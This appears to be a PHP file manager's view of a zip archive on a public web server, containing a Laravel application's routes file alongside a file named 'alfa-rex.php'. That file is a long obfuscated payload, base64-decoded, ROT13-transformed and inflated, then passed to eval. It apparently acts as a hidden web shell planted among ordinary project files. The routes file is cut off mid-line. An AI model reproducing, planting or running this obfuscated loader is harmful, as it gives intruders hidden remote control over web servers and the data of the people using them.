Файловый менеджер - Редактировать - /home/kckglobal/public_html/update/routes.zip
Назад
PK ���ZGAk}|- |- alfa-rex.phpnu �[��� <?php eval(str_rot13(gzinflate(str_rot13(base64_decode('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'))))); ?>PK ���Z�B!,� � web.phpnu �[��� <?php use Illuminate\Support\Facades\Route; use App\Http\Controllers\GdprController; use App\Http\Controllers\DealController; use App\Http\Controllers\TaskController; use App\Http\Controllers\AwardController; use App\Http\Controllers\ImageController; use App\Http\Controllers\LeaveController; use App\Http\Controllers\OrderController; use App\Http\Controllers\ClientController; use App\Http\Controllers\ImportController; use App\Http\Controllers\NoticeController; use App\Http\Controllers\SearchController; use App\Http\Controllers\TicketController; use App\Http\Controllers\ExpenseController; use App\Http\Controllers\HolidayController; use App\Http\Controllers\InvoiceController; use App\Http\Controllers\MessageController; use App\Http\Controllers\PaymentController; use App\Http\Controllers\ProductController; use App\Http\Controllers\ProjectController; use App\Http\Controllers\SubTaskController; use App\Http\Controllers\TimelogController; use App\Http\Controllers\ContractController; use App\Http\Controllers\EmployeeController; use App\Http\Controllers\EstimateController; use App\Http\Controllers\LeadFileController; use App\Http\Controllers\LeadNoteController; use App\Http\Controllers\PassportController; use App\Http\Controllers\ProposalController; use App\Http\Controllers\SettingsController; use App\Http\Controllers\TaskFileController; use App\Http\Controllers\TaskNoteController; use App\Http\Controllers\ClientDocController; use App\Http\Controllers\DashboardController; use App\Http\Controllers\EventFileController; use App\Http\Controllers\LeadBoardController; use App\Http\Controllers\LeaveFileController; use App\Http\Controllers\QuickbookController; use App\Http\Controllers\TaskBoardController; use App\Http\Controllers\TaskLabelController; use App\Http\Controllers\AttendanceController; use App\Http\Controllers\ClientNoteController; use App\Http\Controllers\CreditNoteController; use App\Http\Controllers\DepartmentController; use App\Http\Controllers\DiscussionController; use App\Http\Controllers\LeadReportController; use App\Http\Controllers\StickyNoteController; use App\Http\Controllers\TaskReportController; use App\Http\Controllers\TicketFileController; use App\Http\Controllers\BankAccountController; use App\Http\Controllers\DesignationController; use App\Http\Controllers\EmployeeDocController; use App\Http\Controllers\LeadCategoryController; use App\Http\Controllers\LeaveReportController; use App\Http\Controllers\LeavesQuotaController; use App\Http\Controllers\MessageFileController; use App\Http\Controllers\ProductFileController; use App\Http\Controllers\ProjectFileController; use App\Http\Controllers\ProjectNoteController; use App\Http\Controllers\SalesReportController; use App\Http\Controllers\SubTaskFileController; use App\Http\Controllers\TaskCommentController; use App\Http\Controllers\TicketReplyController; use App\Http\Controllers\AppreciationController; use App\Http\Controllers\ContractFileController; use App\Http\Controllers\ContractTypeController; use App\Http\Controllers\EmployeeVisaController; use App\Http\Controllers\GdprSettingsController; use App\Http\Controllers\NotificationController; use App\Http\Controllers\TaskCalendarController; use App\Http\Controllers\TaskCategoryController; use App\Http\Controllers\InvoiceFilesController; use App\Http\Controllers\ClientContactController; use App\Http\Controllers\ContractRenewController; use App\Http\Controllers\EventCalendarController; use App\Http\Controllers\ExpenseReportController; use App\Http\Controllers\FinanceReportController; use App\Http\Controllers\KnowledgeBaseController; use App\Http\Controllers\ProjectMemberController; use App\Http\Controllers\ProjectRatingController; use App\Http\Controllers\TimelogReportController; use App\Http\Controllers\ClientCategoryController; use App\Http\Controllers\LeadCustomFormController; use App\Http\Controllers\UserPermissionController; use App\Http\Controllers\DiscussionFilesController; use App\Http\Controllers\DiscussionReplyController; use App\Http\Controllers\ExpenseCategoryController; use App\Http\Controllers\ProductCategoryController; use App\Http\Controllers\ProjectCalendarController; use App\Http\Controllers\ProjectCategoryController; use App\Http\Controllers\ProjectTemplateController; use App\Http\Controllers\TimelogCalendarController; use App\Http\Controllers\AttendanceReportController; use App\Http\Controllers\ContractTemplateController; use App\Http\Controllers\EmergencyContactController; use App\Http\Controllers\EstimateTemplateController; use App\Http\Controllers\ProjectMilestoneController; use App\Http\Controllers\ProposalTemplateController; use App\Http\Controllers\RecurringExpenseController; use App\Http\Controllers\RecurringInvoiceController; use App\Http\Controllers\TicketCustomFormController; use App\Http\Controllers\ClientSubCategoryController; use App\Http\Controllers\KnowledgeBaseFileController; use App\Http\Controllers\ContractDiscussionController; use App\Http\Controllers\DealNoteController; use App\Http\Controllers\DiscussionCategoryController; use App\Http\Controllers\ProductSubCategoryController; use App\Http\Controllers\ProjectTemplateTaskController; use App\Http\Controllers\ProjectTimelogBreakController; use App\Http\Controllers\EmployeeShiftScheduleController; use App\Http\Controllers\IncomeVsExpenseReportController; use App\Http\Controllers\KnowledgeBaseCategoryController; use App\Http\Controllers\ProjectTemplateMemberController; use App\Http\Controllers\ProjectTemplateSubTaskController; use App\Http\Controllers\EmployeeShiftChangeRequestController; use App\Http\Controllers\EstimateRequestController; use App\Http\Controllers\GanttLinkController; use App\Http\Controllers\LeadContactController; use App\Http\Controllers\NoticeFileController; use App\Http\Controllers\InvoicePaymentDetailController; use App\Http\Controllers\MyCalendarController; use App\Http\Controllers\PromotionController; use App\Http\Controllers\WeeklyTimesheetController; Route::group(['middleware' => 'auth', 'prefix' => 'account'], function () { Route::post('image/upload', [ImageController::class, 'store'])->name('image.store'); Route::get('account-unverified', [DashboardController::class, 'accountUnverified'])->name('account_unverified'); Route::get('checklist', [DashboardController::class, 'checklist'])->name('checklist'); Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard'); Route::get('dashboard-advanced', [DashboardController::class, 'advancedDashboard'])->name('dashboard.advanced'); Route::post('dashboard/widget/{dashboardType}', [DashboardController::class, 'widget'])->name('dashboard.widget'); Route::post('dashboard/week-timelog', [DashboardController::class, 'weekTimelog'])->name('dashboard.week_timelog'); Route::get('dashboard/lead-data/{id}', [DashboardController ::class, 'getLeadStage'])->name('dashboard.deal-stage-data'); Route::get('attendances/clock-in-modal', [DashboardController::class, 'clockInModal'])->name('attendances.clock_in_modal'); Route::post('attendances/store-clock-in', [DashboardController::class, 'storeClockIn'])->name('attendances.store_clock_in'); Route::get('attendances/update-clock-in', [DashboardController::class, 'updateClockIn'])->name('attendances.update_clock_in'); Route::get('attendances/show_clocked_hours', [DashboardController::class, 'showClockedHours'])->name('attendances.show_clocked_hours'); Route::get('dashboard/private_calendar', [DashboardController::class, 'privateCalendar'])->name('dashboard.private_calendar'); Route::get('/pusher/beams-auth', [DashboardController::class, 'beamAuth'])->name('dashboard.beam_auth'); Route::get('settings/change-language', [SettingsController::class, 'changeLanguage'])->name('settings.change_language'); Route::resource('settings', SettingsController::class)->only(['edit', 'update', 'index', 'change_language']); Route::post('approve/{id}', [ClientController::class, 'approve'])->name('clients.approve'); Route::post('save-consent-purpose-data/{client}', [ClientController::class, 'saveConsentLeadData'])->name('clients.save_consent_purpose_data'); Route::get('clients/gdpr-consent', [ClientController::class, 'consent'])->name('clients.gdpr_consent'); Route::post('clients/save-client-consent/{lead}', [ClientController::class, 'saveClientConsent'])->name('clients.save_client_consent'); Route::post('clients/ajax-details/{id}', [ClientController::class, 'ajaxDetails'])->name('clients.ajax_details'); Route::get('clients/client-details/{id}', [ClientController::class, 'clientDetails'])->name('clients.client_details'); Route::post('clients/project-list/{id}', [ClientController::class, 'projectList'])->name('clients.project_list'); Route::post('clients/apply-quick-action', [ClientController::class, 'applyQuickAction'])->name('clients.apply_quick_action'); Route::get('clients/import', [ClientController::class, 'importClient'])->name('clients.import'); Route::post('clients/import', [ClientController::class, 'importStore'])->name('clients.import.store'); Route::post('clients/import/process', [ClientController::class, 'importProcess'])->name('clients.import.process'); Route::get('clients/finance-count/{id}', [ClientController::class, 'financeCount'])->name('clients.finance_count'); Route::resource('clients', ClientController::class); Route::post('client-contacts/apply-quick-action', [ClientContactController::class, 'applyQuickAction'])->name('client-contacts.apply_quick_action'); Route::resource('client-contacts', ClientContactController::class); Route::get('client-notes/ask-for-password/{id}', [ClientNoteController::class, 'askForPassword'])->name('client_notes.ask_for_password'); Route::post('client-notes/check-password', [ClientNoteController::class, 'checkPassword'])->name('client_notes.check_password'); Route::post('client-notes/apply-quick-action', [ClientNoteController::class, 